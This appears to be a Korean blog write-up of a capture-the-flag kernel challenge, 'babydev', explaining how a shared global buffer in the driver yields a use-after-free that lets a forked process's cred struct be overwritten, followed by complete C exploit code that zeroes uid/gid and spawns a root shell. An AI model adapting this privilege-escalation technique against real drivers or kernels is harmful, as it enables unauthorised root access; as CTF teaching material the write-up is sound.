티스토리 뷰
오랜만에 잡아보는 kernel
문제임미다.
어제는 문제하나 만드느라 1일 1pwn 패스~
binary summary
shippppppppppppppp tric~
fork() -> copy_creds() -> prepare_creds -> kmem_cache_alloc()
cred <= uaf
대충 fork()
함수는 내부에서 cred
정보를 잠깐 관리하기 위해서 168 bytes
만큼할당한다.
이떄 babydev
드라이버는 내맘대로 kmalloc
,kfree
를 할 수 있게해주니까 익스를 해보자
babydev_struct
드라이버 관리를 위해서 babydef_struct
라는 전역변수에 존재하는 구조체를 사용한다.
다음과 같다.
드라이버를 oepn
하면 다음함수가 실행된다.
device_buf
에는 kmalloc
을 하고 주소를 저장하고,
device_buf_len
에는 할당한 크기(64)
를 저장한다.
kmalloc
kernel
에다가 heap
을 할당하는 함수인 kmalloc
을 실행하면, 경우에 따라 두가지 함수가 호출된다.
kmalloc_index()
=> 메모리 할당 사이즈에 맞는kmalloc
슬랩 캐시 인덱스를 선택하는 방법
kmema_cache_alloc_trace()
=> 직접 주소와 사이즈를 주는 방법
쉽게 말해서 실제로 할당하는 루틴이 있는 부분은 저 두함수다.
알고가면 좋을 것 같아서 적는다.
release
close
할때는 그냥 device_buf
안에 있는 함수를 kfree
해준다.
ioctl
두번째 인자로 command
, 3번째
인자로 size
를 주면 이전 device_buf
는 kfree
하고 size
만큼 새로 할당해준다.
write
할당되고 관리되는 heap buf
가 존재할 경우 && 세번째 인자가 buf
의 크기보다 작을경우,
두번째 인자의 내용을 heap buf
에 copy
해준다.
read
할당되고 관리되는 heap buf
가 존재할 경우 && 세번째 인자가 buf
의 크기보다 작을경우,
heap buffer
에 존재하는 내용을 유저에게 보여준다.
Exploit
우선 kernel cred struct
는 168bytes
의 크기를 가진다.
즉, kernel heap
영역에 168bytes
의 free
된 공간이 존재한다면, kmalloc
함수에 따라서 해당 공간이 재사용될 가능성이있다.
fork()
위에서 정리한것과 같이 fork()
함수는 최종적으로 kmem_cache_alloc
함수를 사용한다.
이는 위에서 선언하고 해제한 공간을 사용할 수 있다.
uaf
우선 저 드라이버를 관리할 구조체는 전역변수에 딱 한개
존재한다.
하지만 드라이버는 몇개씩 열수가 있다.
게다가 kmem_cache_alloc_trace
함수는 지정된 주소에다가 할당을 받기때문에
드라이버를 2번 open
한다면?
두 전역변수는 같은 주소를 가르킬 것이며, 이는 uaf가 터진다는것을 뜻한다.
=> cred 구조체 수정 가능
cred
cred struct
는 총 168byte
이지만, 우리는 uid, gid
만 변경하고, systemI("/bin/sh")
을 하면 되니까
NULL
은 28개 정도 넣어주자.
Exploit Code
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#define command 65537
int main()
{
int baby_one = open("/dev/babydev", O_RDWR);
int baby_two = open("/dev/babydev", O_RDWR);
char fake[30] = {0};
ioctl(baby_one, command, 168);
close(baby_one);
int pid = fork();
if(pid < 0)
{
exit(-1);
}
else if(pid == 0) {
write(baby_two, fake, 28);
sleep(1);
system("/bin/sh");
exit(-1);
}
else {
printf("No pid : %d", pid);
wait(0);
}
close(baby_two);
return 0;
}
rop
+ r2user